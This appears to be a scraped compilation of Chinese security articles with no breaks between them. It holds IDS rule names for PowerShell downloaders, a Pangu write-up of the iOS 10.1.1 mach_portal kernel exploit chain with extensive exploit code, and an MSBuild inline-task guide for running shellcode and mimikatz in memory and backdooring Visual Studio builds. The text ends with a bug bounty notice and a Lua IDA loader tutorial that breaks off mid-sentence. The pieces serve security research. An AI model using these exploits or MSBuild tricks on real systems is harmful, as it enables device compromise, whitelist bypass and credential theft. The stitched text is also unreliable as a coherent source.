2034978 - ET POLICY Pastebin-style Service (paste .ee) in TLS SNI
2034979 - ET HUNTING Powershell Request for paste .ee Page
2034980 - ET MALWARE Powershell with Decimal Encoded RUNPE Downloaded
2850933 - ETPRO HUNTING Double Extension VBS Download from Google Drive
2850934 - ETPRO HUNTING Double Extension PIF Download from Google Drive
2850936 - ETPRO HUNTING VBS Download from Google Drive
* * * | 社区文章 |
来源： **[盘古实验室](http://blog.pangu.io/mach-portal-details/)**
作者： **[windknown@PanguTeam](http://blog.pangu.io/author/windknown/)**
前不久GP0的研究员Ian Beer公布了针对iOS
10.1.1的[漏洞细节及利用代码](https://bugs.chromium.org/p/project-zero/issues/detail?id=965#c2)，通过结合三个漏洞获取设备的root
shell。之后意大利研究员[@qwertyoruiopz](https://twitter.com/qwertyoruiopz/)在此基础上加入绕过KPP保护的漏洞利用并发布了完整的[iOS10越狱](http://yalu.qwertyoruiop.com/)。
Ian Beer已经对漏洞的成因和利用做了相关描述，这里将不再阐述，而是介绍一些利用的细节以及可能的改进建议。
整个exploit chain包含了三个漏洞：
* CVE-2016-7637 用于替换了launchd进程中往com.apple.iohideventsystem发消息的port
* CVE-2016-7661 造成powerd崩溃重启，从而在接管com.apple.iohideventsystem后获取powerd的task port，进而获取host_priv
* CVE-2016-7644 导致内核port的UAF，进一步获取kernel_task
### **替换launchd中的port**
内核中的ipc_object对象对应到用户态下是一个name（int类型），每个进程的
ipc_space_t中保存了name与object之间的映射关系。相关代码可以在
ipc__entry.c中查看，ipc_entry_lookup函数将返回name对应的ipc_entry_t结构，其中保存了对应的object。name的高24位是table中的索引，而低8位是generation
number（初始值是-1，增加步长是4，因此一共有64个值）
#define MACH_PORT_INDEX(name) ((name) >> 8)
#define MACH_PORT_GEN(name) (((name) & 0xff) << 24)
#define MACH_PORT_MAKE(index, gen) \
(((index) << 8) | (gen) >> 24)
被释放的name会被标记到freelist的起始位置，当再创建的时候会有相同的索引号，但是generation
number会增加4，因此当被重复释放和分配64次后会返回给用户态完全相同的name，从而可以完成劫持。
#define IE_BITS_GEN_MASK 0xff000000 /* 8 bits for generation */
#define IE_BITS_GEN(bits) ((bits) & IE_BITS_GEN_MASK)
#define IE_BITS_GEN_ONE 0x04000000 /* low bit of generation */
#define IE_BITS_NEW_GEN(old) (((old) + IE_BITS_GEN_ONE) & IE_BITS_GEN_MASK)
简单的测试代码
for (int i=0; i<65; i++)
{
mach_port_t port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
printf("port index:0x%x gen:0x%x\n", (port >> 8), (port & 0xff));
mach_port_destroy(mach_task_self(), port);
}
在实际利用漏洞的时候，需要在launchd的进程空间内重用name，因此可以发送一个launchd接受的id的消息，就能完成一次分配和释放（send_looper函数）。为了避免name释放后被抢占，首先调用了一次send_looper将要占用的name移动到freelist的末端相对安全的位置，进而再次调用62次来递增generation
number，最后一次通过注册服务抢占name，完成了中间人劫持。
// send one smaller looper message to push the free'd name down the free list:
send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);
// send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
for (int i = 0; i < 62; i++) {
send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
}
// now that the name should have looped round (and still be near the middle of the freelist
// try to replace it by registering a lot of new services
for (int i = 0; i < n_ports; i++) {
kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
if (err != KERN_SUCCESS) {
printf("failed to register service %d, continuing anyway...\n", i);
}
}
### **使powerd崩溃**
powerd在接收到MACH_NOTIFY_DEAD_NAME消息后没有检查发送者及port，就直接调用mach_port_deallocate去释放。利用代码中将被释放的port设置为0x103，该port应该是本进程的task
port，一旦被释放后任何的内存分配处理都会直接出错。代码如下
mach_port_t service_port = lookup("com.apple.PowerManagement.control");
// free task_self in powerd
for (int j = 0; j < 2; j++) {
spoof(service_port, 0x103);
}
// call _io_ps_copy_powersources_info which has an unchecked vm_allocate which will fail
// and deref an invalid pointer
vm_address_t buffer = 0;
vm_size_t size = 0;
int return_code;
io_ps_copy_powersources_info(service_port,
0,
&buffer,
(mach_msg_type_number_t *) &size,
&return_code);
在测试过程中发现有的设备的mach_task_self()返回的并不是0x103，因此可以增加循环处理的代码来加强利用的适应性。
// free task_self in powerd
for (int port = 0x103; port < 0x1003; port += 4) {
for (int j = 0; j < 2; j++) {
spoof(service_port, port);
}
}
### **内核堆跨Zone攻击**
CVE-2016-7644可以通过race造成内核port对象的UAF，因此第一步需要在port对象被释放后重新去填充。由于所有的port都被分配在特殊的”ipc
ports”的zone里，无法使用常见的分配kalloc
zone的方式来直接填充内存。因此利用代码首先分配大量port然后释放，再调用mach_zone_force_gc将这些页面释放掉，此后可以在通过kalloc
zone里spray内存来占用。
port对象的大小是0xA8（64位），其中ip_context成员（0x90偏移）可以通过用户态API读写的，Ian
Beer选择了一种比较巧妙的方式来填充port对象。
首先需要了解mach msg中对MACH_MSG_OOL_PORTS_DESCRIPTOR的处理，内核收到复杂消息后发现是port
descriptor后会交给ipc_kmsg_copyin_ool_ports_descriptor函数读入所有的port对象。该函数会调用kalloc分配需要的内存（64位下分配的内存是输入的2倍，name长度是4字节），然后将有效的port由name转换成真实对象地址保存，对于输入是0的name任然会填充0。
/* calculate length of data in bytes, rounding up */
ports_length = count * sizeof(mach_port_t);
names_length = count * sizeof(mach_port_name_t);
...
data = kalloc(ports_length);
...
#ifdef __LP64__
mach_port_name_t *names = &((mach_port_name_t *)data)[count];
#else
mach_port_name_t *names = ((mach_port_name_t *)data);
#endif
if (copyinmap(map, addr, names, names_length) != KERN_SUCCESS) {
...
}
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
continue;
}
kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);
...
objects[i] = object;
}
如果我们将输入ool
port数据的恰当位置的name设置为之前获取的host_priv，那么在内核处理后，host_priv对应的内核object地址会被保存在UAF的port的ip_context成员位置，从而在用户态就可以读取到HOST_PRIV_PORT这个port的真实地址。用于填充内存的代码在send_ool_ports函数，每个descriptor会分配一个kalloc.4096(0x200*8)，一个消息会在内核分配1000个4KB的页面。
size_t n_ports = 0x200;
mach_port_t* ports = calloc(sizeof(mach_port_t), n_ports);
uint32_t obj_offset = 0x90;
for (int i = 0; i < n_ports_in_zone; i++) {
uint32_t index = (obj_offset & 0xfff) / 8;
ports[index] = to_send;
obj_offset += 0xa8;
}
// build a message with those ool ports:
struct ool_multi_msg* leak_msg = malloc(sizeof(struct ool_multi_msg));
memset(leak_msg, 0, sizeof(struct ool_msg));
leak_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
leak_msg->hdr.msgh_size = sizeof(struct ool_msg);
leak_msg->hdr.msgh_remote_port = q;
leak_msg->hdr.msgh_local_port = MACH_PORT_NULL;
leak_msg->hdr.msgh_id = 0x41414141;
leak_msg->body.msgh_descriptor_count = 1000;
for (int i = 0; i < 1000; i++) {
leak_msg->ool_ports[i].address = ports;
leak_msg->ool_ports[i].count = n_ports;
leak_msg->ool_ports[i].deallocate = 0;
leak_msg->ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
leak_msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
leak_msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
}
成功填充被释放的port后，即可以读取context的值。
// get the target page reused by the ool port pointers
for (int i = 0; i < n_ool_port_qs; i++) {
ool_port_qs[i] = send_ool_ports(host_priv);
}
uint64_t context = 123;
mach_port_get_context(mach_task_self(), middle_ports[0], &context);
printf("read context value: 0x%llx\n", context);
### **获取kernel task port**
HOST_PRIV_PORT这个port是在系统初始化函数kernel_bootstrap里的调用ipc_init创建的，而kernel task
port在之后的task_init中创建，因此很大概率这两个port对象在比较接近的内存位置。
void
kernel_bootstrap(void)
{
...
kernel_bootstrap_log("ipc_init");
ipc_init();
kernel_bootstrap_log("PMAP_ACTIVATE_KERNEL");
PMAP_ACTIVATE_KERNEL(master_cpu);
kernel_bootstrap_log("mapping_free_prime");
mapping_free_prime(); /* Load up with temporary mapping blocks */
kernel_bootstrap_log("machine_init");
machine_init();
kernel_bootstrap_log("clock_init");
clock_init();
ledger_init();
kernel_bootstrap_log("task_init");
task_init();
...
}
上文提到kernel接收MACH_MSG_OOL_PORTS_DESCRIPTOR时候的copyin处理，同样在把消息还给用户态时有copyout的处理，会将真实的port对象地址转换成name还给用户态。可以将UAF的port的context设置成HOST_PRIV_PORT地址附近的port地址，用户态获取name后通过pid_for_task检查是否成功获取kernel
task的port。receive_ool_ports函数接收之前发送填充的消息，并检查返回值找到可能的kernel task port。
struct ool_multi_msg_rcv msg = {0};
err = mach_msg(&msg.hdr,
MACH_RCV_MSG,
0,
sizeof(struct ool_multi_msg_rcv),
q,
0,
0);
if (err != KERN_SUCCESS) {
printf("failed to receive ool ports msg (%s)\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
mach_port_t interesting_port = MACH_PORT_NULL;
mach_port_t kernel_task_port = MACH_PORT_NULL;
for (int i = 0; i < 1000; i++) {
mach_msg_ool_ports_descriptor_t* ool_desc = &msg.ool_ports[i];
mach_port_t* ool_ports = (mach_port_t*)ool_desc->address;
for (size_t j = 0; j < ool_desc->count; j++) {
mach_port_t port = ool_ports[j];
if (port == expected) {
;
} else if (port != MACH_PORT_NULL) {
interesting_port = port;
printf("found an interesting port 0x%x\n", port);
if (kernel_task_port == MACH_PORT_NULL &&
is_port_kernel_task_port(interesting_port, valid_kernel_pointer))
{
kernel_task_port = interesting_port;
}
}
}
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)ool_desc->address, ((ool_desc->count*4)+0xfff)&~0xfff);
}
利用代码中准备了0x20个UAF的port，然后从HOST_PRIV_PORT地址所在的zone的页面的中间部分开始猜测。
for (int i = 0; i < n_middle_ports; i++) {
// guess the middle slots in the zone block:
mach_port_set_context(mach_task_self(), middle_ports[i], pages_base+(0xa8 * ((n_ports_in_zone/2) - (n_middle_ports/2) + i)));
}
mach_port_t kernel_task_port = MACH_PORT_NULL;
for (int i = 0; i < n_ool_port_qs; i++) {
mach_port_t new_port = receive_ool_ports(ool_port_qs[i], host_priv, pages_base);
if (new_port != MACH_PORT_NULL) {
kernel_task_port = new_port;
}
}
增加准备的UAF的port的数量（最多可增加至port的zone的页面的容量）可以提高命中率。此外上述代码的一处改进是在接收消息前再分配一些port，由于HOST_PRIV_PORT所在的zone的页面可能存在被释放了的port地址，在copyout时候会导致panic，因此填补这些空洞可以提高稳定性。
### **设备差异性**
iOS的内核堆是由zone来管理的，具体代码可以在zalloc.c中查看。每个zone对应的页面大小计算在zinit函数中，其中
ZONE_MAX_ALLOC_SIZE 固定为0x8000。
if (alloc == 0)
alloc = PAGE_SIZE;
alloc = round_page(alloc);
max = round_page(max);
vm_size_t best_alloc = PAGE_SIZE;
vm_size_t alloc_size;
for (alloc_size = (2 * PAGE_SIZE); alloc_size <= ZONE_MAX_ALLOC_SIZE; alloc_size += PAGE_SIZE) {
if (ZONE_ALLOC_FRAG_PERCENT(alloc_size, size) < ZONE_ALLOC_FRAG_PERCENT(best_alloc, size)) {
best_alloc = alloc_size;
}
}
alloc = best_alloc;
值得注意的是PAGE_SIZE在iOS下可能是0x1000或0x4000，通过观察PAGE_SHIFT_CONST的初始化可以知道当RAM大于1GB（0x40000000）的时候PAGE_SIZE=0x4000，否则PAGE_SIZE=0x1000
if ( v139 )
{
v14 = 14;
if ( *(_QWORD *)(a1 + 24) <= 0x40000000uLL )
v15 = 12;
else
v15 = 14;
}
else
{
if ( (unsigned int)sub_FFFFFFF0074F2BE4("-use_hwpagesize", &v142, 4, 0) )
v15 = 12;
else
v15 = 14;
v14 = v15;
}
PAGE_SHIFT_CONST = v15;
iPhone 6s及之后的设备内存都是2GB，对应内核中的最小页面单位是16KB。根据zinit中的计算，ipc ports
zone的页面大小是0x3000（6s之前的设备）或者0x4000（6s及之后的设备）。因此要猜测完整个页面的port需要0x49或者0x61个UAF的port。利用代码中的platform_detection也可以修改如下
void platform_detection() {
uint32_t hwmem = 0;
size_t hwmem_size = 4;
sysctlbyname("hw.memsize", &hwmem, &hwmem_size, NULL, 0);
printf("hw memory is 0x%x bytes\n", hwmem);
if (hwmem > 0x40000000)
n_ports_in_zone = 0x4000/0xa8;
else
n_ports_in_zone = 0x3000/0xa8;
}
* * * | 社区文章 |
# 【技术分享】Use MSBuild To Do More（渗透中MSBuild的应用技巧）
|
##### 译文声明
本文是翻译文章，文章来源：安全客-三好学生
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：三好学生**
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
****
**0x00 前言**
最近Casey Smith@subTee更新了一系列关于”MSBuild”的研究进展，对我有很大启发。
本文将基于他公开的POC，并结合我的研究心得，介绍以下MSBuild的应用技巧：
Execute PowerShell Commands
Execute PE file
Execute Shellcode
VisualStudio Persistence
**0x01 简介**
MSBuild是Microsoft Build Engine的缩写，代表Microsoft和Visual Studio的新的生成平台
MSBuild可在未安装Visual Studio的环境中编译.net的工程文件
MSBuild可编译特定格式的xml文件
更多基本知识可参照以下链接：
<https://msdn.microsoft.com/en-us/library/dd393574.aspx>
**0x02 常规用法**
**1\. 编译xml文件并执行代码**
<?xml version="1.0" encoding="utf-8" ?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="PrintCurrentDateTime">
<Message Text="The current date and time is: $([System.DateTime]::Now)." />
</Target>
</Project>
保存为test.csproj
cmd下执行：
C:WindowsMicrosoft.NetFrameworkv4.0.30319msbuild.exe test.csproj
在cmd下会输出显示当前时间，如图
**2\. 编译xml文件生成exe**
using System;
class Test
{
static void Main()
{
Console.WriteLine("Hello world");
}
}
保存为hello.cs
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Compile">
<CSC Sources="hello.cs" OutputAssembly="hello.exe" />
</Target>
</Project>
保存为hello.csproj
hello.cs和hello.csproj放于同一目录
cmd下执行：
C:WindowsMicrosoft.NetFrameworkv4.0.30319msbuild.exe hello.csproj
可以编译生成hello.exe，如图
**注： 编译文件满足xml文件格式即可，后缀名任意**
**0x03 扩展用法**
在.NET Framework 4.0中支持了一项新功能”Inline Tasks”，被包含在元素UsingTask中，可用来在xml文件中执行c#代码
详细介绍可参考如下链接：
[https://msdn.microsoft.com/en-us/library/dd722601.aspx?f=255&MSPPError=-2147217396](https://msdn.microsoft.com/en-us/library/dd722601.aspx?f=255&MSPPError=-2147217396)
**
**
**1\. HelloWorld示例**
以下代码保存为helloworld:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<HelloWorld />
</Target>
<UsingTask
TaskName="HelloWorld"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello World");
]]>
</Code>
</Task>
</UsingTask>
</Project>
注：保存的文件名任意
cmd下执行：
C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe helloworld
cmd输出helloworld，如图
**
**
**2\. 执行powershell命令**
可参照Casey分享的POC，地址如下：
<https://gist.github.com/subTee/6b236083da2fd6ddff216e434f257614>
该POC已将c#代码转换成xml文件的格式，编写需要注意的部分如下：
**标记1** TaskName可修改，但两个位置的名称需要对应
**
**
**标记2** 为固定格式:TaskFactory="CodeTaskFactory"
**
**
**标记3** 的路径在不同系统可能会有区别，准确的为：
"$(MSBuildToolsPath)Microsoft.Build.Tasks.v4.0.dll"
系统默认安装路径为:
"C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll"
**
**
**标记4** 为一个简单的输出helloworld实例
**标记5** 为固定格式，定义为public class ClassExample : Task, ITask
实际测试POC如图,成功执行powershell命令
**
**
**3\. 执行PE文件**
Casey分享的POC地址如下：
<https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371>
但是上传的文件被截断，导致部分代码无法查看，于是尝试自己实现
结合之前研究过的代码，地址如下：
<https://gist.github.com/subTee/00cdac8990584bd2c2fe>
对照上文提到的xml格式，编写代码实现在Inline Tasks中内存加载64位的mimikatz.exe，实现代码的下载地址为：
<https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml>
cmd下执行：
C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe aa
报错，如图
**解决方法：**
需要换用64位的.net Framework，原代码无需修改，只需要使用64位的.net Framework加载就好
cmd下执行：
C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe aa
加载成功，如图
**
**
**4\. 执行shellcode**
参考自<https://gist.github.com/subTee/a06d4ae23e2517566c52>
使用msf生成32位shellcode：
use windows/exec
set CMD calc.exe
set EXITFUNC thread
generate -t csharp
同样结合上文提到的xml格式，编写代码实现在Inline Tasks中执行shellcode，实现代码的下载地址为：
<https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml>
保存为SimpleTasks.csproj，在cmd下执行：
C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe SimpleTasks.csproj
如图，成功执行shellcode弹出计算器
在64位系统下，先将shellcode替换为64位，然后换用64位的.net Framework执行即可，代码下载地址为：
[https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20×64%20shellcode.xml](https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml)
如图，成功执行64位shellcode
**
**
**5\. VisualStudio Persistence**
在《Pay close attention to your download code——Visual Studio trick to run code
when building》中介绍过利用VisualStudio的.csproj文件实现的代码执行，同样Inline
Tasks也可用到此处，实现代码已上传，地址为：
<https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode%20when%20visual%20studio%20is%20afterBuild.csproj>
修改vs工程中的.csproj文件，添加上述代码，能够实现在vs工程编译过程中执行shellcode，如图
**
**
**0x04 小结**
利用MSBuild实现的代码执行，有如下特点：
1、可绕过应用程序白名单
2、提供一种直接执行shellcode的方法
3、在内存中执行PE文件
4、结合VisualStudio实现的钓鱼和后门
所以建议对系统中的msbuild.exe进行更多的监控和限制。
**注： 文中相关POC代码已上传至github，地址为： **[**https://github.com/3gstudent/msbuild-inline-task**](https://github.com/3gstudent/msbuild-inline-task) | 社区文章 |
活动结束，2017-9-20
* * *
活动奖励：通用奖励奖金1.1-1.5倍
活动时间：20170824——201709中旬
<table> dedecms(V5.7SP2正式版) SQL注入 命令执行 文件包含 文件上传getshell wordpress 4.8.x SQL注入
命令执行 文件包含 文件上传getshell 微擎 1.0 SQL注入 命令执行 文件包含 文件上传getshell DiscuzX x3.4,x3.3
SQL注入 命令执行 文件包含 文件上传getshell phpcmsv9 SQL注入 命令执行 文件包含 文件上传getshell ecshop 3.6
SQL注入 命令执行 文件包含 文件上传getshell </table>
## 审核标准：
1、参考以下连接地址：<https://help.aliyun.com/knowledge_detail/40065.html>
2、组合漏洞利用暂时不在本次活动范围内。 | 社区文章 |
# Lua程序逆向之为Luac编写IDA Pro文件加载器
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
距离上一次讲Lua程序逆向已经有一段时间了，这一次我们书接上回，继续开启Lua程序逆向系列之旅。
在软件逆向工程实践中，为第三方文件编写文件格式分析器与指令反汇编器是一种常见的场景。这一篇的主要目的是，讲解如何为IDA
Pro编写Luac的文件加载器，一方面强化对二进制文件格式的理解；另一方面，通过对IDA Pro进行扩展的插件式开发，更深入的领会IDA
Pro的设计思想，以及掌握更多的高级使用方法。
IDA
Pro提供了抽象的文件加载器与处理器模块概念。文件加载器与程序运行时的动态加载概念类似，将文件中的代码与数据，按照一定的逻辑方式进行排列与显示，文件加载器在设计时，会优先选择与文件二进制本身相关的数据结构进入载入，比如Windows、LInux、macOS上的二进制PE、ELF、Mach-O文件，它们都有数据、常量、代码段的概念，IDA Pro允许将这些二进制的不同的数据，加载到不同类型的段里面。
文件加载器的工作就是：分析文件的基本格式；解析文件的段层次结构，将需要用到的数据与代码加载到IDA
Pro当中；区分与构建二进制中的数据与代码在段中的位置；创建函数，变量，建立交叉引用辅助用户进行分析等。当然，最后一项工作也可由处理器模块完成。
## 二进制文件加载器架构
IDA Pro没有详细的文档描述好何为二进制开发文件加载器，最有效的学习途径是阅读IDA Pro程序中自带的开源的文件加载器模块代码。
IDA Pro软件在升级着，版本的变化可能会也带来文件加载器开发接口的变化，本篇写作时，对应的IDA Pro版本为国内众所周知的IDA
Pro版本7.0，实验环境为macOS 10.12平台。IDA
Pro支持使用C/C++/idc/Python等多种语言编写文件加载器。这里选择使用Python，一方面基于语言的跨平台性，再者，IDA
Pro软件的加载器目录（macOS平台）：/Applications/IDAPro7.0/ida.app/Contents/MacOS/loaders中，有着可以参考的代码。理论上，本节编写的Luac文件加载器，放到Windows等其他平台上，不需要进行任何的修改，也可以很好的工作。
本次参考使用到的代码是uimage.py模块，这个不到200行的Python脚本是一个完整的U-Boot镜像加载器，完整的展示了二进制文件加载器的编写流程，是不错的参考资料。
文件加载器的架构比较简单，只需要在py文件中提供两个回调文法即可。分别是accept_file()与load_file()。accept_file()负责检查二进制文件的合法性，解析结果正常则返回二进制文件的格式化描述信息，该信息会显示在IDA
Pro加载二进制文件时的对话框中，供用户进行选择。accept_file()的声明如下：
def accept_file(li, filename):
"""
Check if the file is of supported format
@param li: a file-like object which can be used to access the input data
@param filename: name of the file, if it is an archive member name then the actual file doesn't exist
@return: 0 - no more supported formats
string "name" - format name to display in the chooser dialog
dictionary { 'format': "name", 'options': integer }
options: should be 1, possibly ORed with ACCEPT_FIRST (0x8000)
to indicate preferred format
"""
accept_file()判断文件合法后，再由load_file()执行二进制的具体加载工作，这些工作包含设置处理器类型、将文件内容映射到idb数据库中、创建数据与代码段、创建与应用特定数据结构、添加入口点等。accept_file()的声明如下：
def load_file(li, neflags, format):
"""
Load the file into database
@param li: a file-like object which can be used to access the input data
@param neflags: options selected by the user, see loader.hpp
@return: 0-failure, 1-ok
"""
## Luac文件加载器的实现
下面来动手实现基于Lua
5.2生成的二进制Luac文件的加载器。将uimage.py模块复制一份改名为loac_loader.py。并修改accept_file()代码如下：
def accept_file(li, n):
"""
Check if the file is of supported format
@param li: a file-like object which can be used to access the input data
@param n : format number. The function will be called with incrementing
number until it returns zero
@return: 0 - no more supported formats
string "name" - format name to display in the chooser dialog
dictionary { 'format': "name", 'options': integer }
options: should be 1, possibly ORed with ACCEPT_FIRST (0x8000)
to indicate preferred format
"""
header = read_struct(li, global_header)
# check the signature
if header.signature == LUA_SIGNATURE and 0x52 == header.version:
global size_Instruction
global size_lua_Number
size_Instruction = header.size_Instruction
size_lua_Number = header.size_lua_Number
DEBUG_PRINT('signature:%x' % header.signature)
DEBUG_PRINT('version:%x' % header.version)
DEBUG_PRINT('format:%x' % header.format)
DEBUG_PRINT('endian:%x' % header.endian)
DEBUG_PRINT('size_int:%x' % header.size_int)
DEBUG_PRINT('size_Instruction:%x' % header.size_Instruction)
DEBUG_PRINT('size_lua_Number:%x' % header.size_lua_Number)
DEBUG_PRINT('lua_num_valid:%x' % header.lua_num_valid)
if header.size_Instruction != 4:
return 0
#if header.size_lua_Number != 8:
# return 0
return FormatName
# unrecognized format
return 0
read_struct()目的是借助ctype模块读取文件开始的内容，到定义的global_header类型的数据结构中去，它的第一个参数li是一个类似于文件对象的参数，可以理解它类似于C语言fopen返回的文件描述符，也可以将其理解为指向文件数据头部的指针。
global_header数据结构来自于之前Luac.bt文件中的C语言声明，它的定义如下：
class global_header(ctypes.Structure):
_pack_ = 1
_fields_ = [
("signature", uint32_t),
("version", uint8_t),
("format", uint8_t),
("endian", uint8_t),
("size_int", uint8_t),
("size_size_t", uint8_t),
("size_Instruction", uint8_t),
("size_lua_Number", uint8_t),
("lua_num_valid", uint8_t),
("luac_tail", uint8_t * 6),
]
定义的class继承自ctypes.Structure，可以编写类似于C语言的结构体定义来描述数据结构，这种方式比起直接struct.unpack方式来读取要方便与优雅得多。
当读取到一个完整的global_header后，需要判断它的signature字段与version字段是否匹配Lua
5.2版本，如果匹配，还需要判断size_Instruction字段，即指令所占的字节大小，通常它的值应该为4。所有的这些条件都满足后，则说明该文件可能是一个正确版本的Luac二进制，那么直接返回格式化名称FormatName。它的内容为：Lua
5.2。将luac_loader.py放入IDA Pro的loaders目录下，将Hello2.luac文件拖入到IDA
Pro的运行主窗口，此时会弹出如图所示的对话框：
接着是load_file()，它的代码如下：
def load_file(li, neflags, format):
"""
Load the file into database
@param li: a file-like object which can be used to access the input data
@param neflags: options selected by the user, see loader.hpp
@return: 0-failure, 1-ok
"""
if format.startswith(FormatName):
global_header_size = ctypes.sizeof(global_header)
li.seek(global_header_size)
header = read_struct(li, proto_header)
DEBUG_PRINT('linedefined:%x' % header.linedefined)
DEBUG_PRINT('lastlinedefined:%x' % header.lastlinedefined)
DEBUG_PRINT('numparams:%x' % header.numparams)
DEBUG_PRINT('is_vararg:%x' % header.is_vararg)
DEBUG_PRINT('maxstacksize:%x' % header.maxstacksize)
idaapi.set_processor_type("Luac", SETPROC_ALL|SETPROC_FATAL)
proto = Proto(li, global_header_size, "0") #function level 0
add_segm(0, 0, global_header_size, "header", 'HEADER')
add_structs()
MakeStruct(0, "GlobalHeader")
global funcs
global consts
global strs
for func in funcs:
#add funcheader_xx segment.
add_segm(0, func[3], func[3] + ctypes.sizeof(proto_header), func[4], 'CONST')
MakeStruct(func[3], "ProtoHeader")
# add func_xx_codesize segment.
add_segm(0, func[1] - 4, func[1], func[0] + "_codesize", 'CONST')
MakeDword(func[1]-4)
set_name(func[1]-4, func[0] + "_codesize")
# add func_xx segment.
add_segm(0, func[1], func[2], func[0], 'CODE')
#add_func(func[1], func[2])
for const in consts:
# add const_xx_size segment.
add_segm(0, const[1]-4, const[1], const[0] + "_size", 'CONST')
MakeDword(const[1]-4)
set_name(const[1]-4, const[0] + "_size")
# add const_xx segment.
add_segm(0, const[1], const[2], const[0], 'CONST')
for str in strs:
# add const strings.
idc.create_strlit(str[1], str[2])
li.file2base(0, 0, li.size(), 0) #map all data
mainfunc_addr = proto.code_off + 4
print("main func addr:%x" % mainfunc_addr)
add_entry(mainfunc_addr, mainfunc_addr, 'func_0', 1)
DEBUG_PRINT("Load Lua bytecode OK.")
return 1
当format参数是accept_file()返回的FormatName是，说明是合法的Luac，正常进入了文件内容加载阶段。这时候按照之前分析Luac格式，使用li.seek()跳过global_header，解析proto_header结构。这是最“顶层的”Proto结构的头部，描述了function
level 0包含多少个子Proto及其其他字段信息。回顾下前面的知识，Proto的可视化结构如图所示：
Proto类型的实现与读取相对会麻烦一些，代码如下：
funcs = []
consts = []
strs = []
class Proto:
def __init__(self, li, off, level):
self.level = level
DEBUG_PRINT("level: %s\n" % self.level)
off_ = off
li.seek(off)
self.header = read_struct(li, proto_header)
off += ctypes.sizeof(proto_header)
self.code_off = off
self.code = Code(li, off)
funcs.append(get_func_area(level, off + 4, off + self.code.size(), off_))
off = off + self.code.size()
self.constants = Constants(li, off)
consts.append(get_consts_area(level, off + 4, off + self.constants.size()))
off = off + self.constants.size()
DEBUG_PRINT("protos off:%x\n" % off)
self.protos = Protos(li, off, level)
off = off + self.protos.size()
self.upvaldecs = Upvaldescs(li, off)
off = off + self.upvaldecs.size()
self.src_name = SourceName(li, off)
off = off + self.src_name.size()
self.lines = Lines(li, off)
off = off + self.lines.size()
self.loc_vars = LocVars(li, off)
off = off + self.loc_vars.size()
self.upval_names = UpValueNames(li, off)
off = off + self.upval_names.size()
self.sz = off - off_
def size(self):
return self.sz
函数、常量、字符串这些信息在解析后我们全局进行保存，目的是后面在创建各种类型的数据段时需要用到。Protos、Constants、LocVars、UpValueNames这些数据结构的定义，由于篇幅原因就不帖出来了，具体的实现代码可以在文末的代码地址处获取。
接着有一条比较重要的调用：
idaapi.set_processor_type("Luac", SETPROC_ALL|SETPROC_FATAL)
idaapi.set_processor_type()用来设置处理器模块，这里使用的”Luac”是我事先编写好的处理器模块，将会在以后进行讲解，初期开发时，可以将其指定为IDA
Pro中提供的其他样例处理器模块辅助开发加载器。
解析完Luac，集齐这些数据后，就可以使用IDA
Pro提供的add_segm()接口，在idb数据库中创建段了。add_segm()的定义位于ida_segment.py中，如下所示：
def add_segm(*args):
"""
add_segm(para, start, end, name, sclass, flags=0) -> bool
"""
return _ida_segment.add_segm(*args)
第一个参数通常为0；start与end指明了数据的起始与结束地址；name为段的名称；sclass为段的类别，类别可以是HEADER表示文件头，CONST表示是常量数据，CODE表示是代码段，DATA表示是数据段。
如下的代码即会创建一个HEADER类别的段：
add_segm(0, 0, global_header_size, "header", 'HEADER')
创建完段后，我们还想将这个段的内容应用上global_header结构体声明，让IDA
Pro可以更加直观显示字段的描述与数值。这个时候，就需要将global_header结构体的声明先加入到IDA
Pro中去。三种方法可以实现：一是导入事先声明好相关结构体的til文件；二是在内存中制作til，导入C语言的结构体描述，然后会在内存中创建til；最后一种是使用脚本一行行导入结体体声明。最终，在相应的数据位置应用结构体信息即可。第一种方法这里不讲，因为没有事先做好til，第二种方法可以使用代码来自动化完成，首先使用new_til()在内存中创建til，然后使用parse_decls()与doStruct()接口解析C语言结构生成til结构体信息，最后一种其实最方便，这里推荐一下，可以事先在IDA
